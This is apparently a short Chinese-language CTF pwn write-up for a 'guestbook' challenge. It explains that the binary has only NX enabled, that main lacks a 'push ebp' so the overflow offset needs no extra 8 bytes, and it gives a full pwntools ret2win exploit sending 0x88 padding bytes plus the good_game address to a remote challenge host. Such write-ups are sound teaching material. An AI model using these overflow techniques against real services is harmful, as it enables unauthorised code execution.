发现只开启了NX,IDA分析:
明显存在溢出漏洞,并且发现存在漏洞函数:
那就很简单了,溢出指向漏洞函数即可,但此题有个小坑,其实最开始学pwn时会通过gdb查找溢出大小,但后面懒了就直接通过IDA查看,但IDA并不一定准确,并且题目本身也会有坑,比如该题。通常main函数会先执行push ebp的操作,如:
但本题,main函数没有push ebp的操作,所有溢出时不需要多加8字节ebp位置
完整exp:
from pwn import *
context.log_level = True
io=remote("node4.buuoj.cn", 29258)
elf = ELF("./guestbook")
good_game_addr = elf.symbols["good_game"]
payload = b'A'*(0x88) + p64(good_game_addr)
io.recvline()
io.sendline(payload)
io.recv()
io.interactive()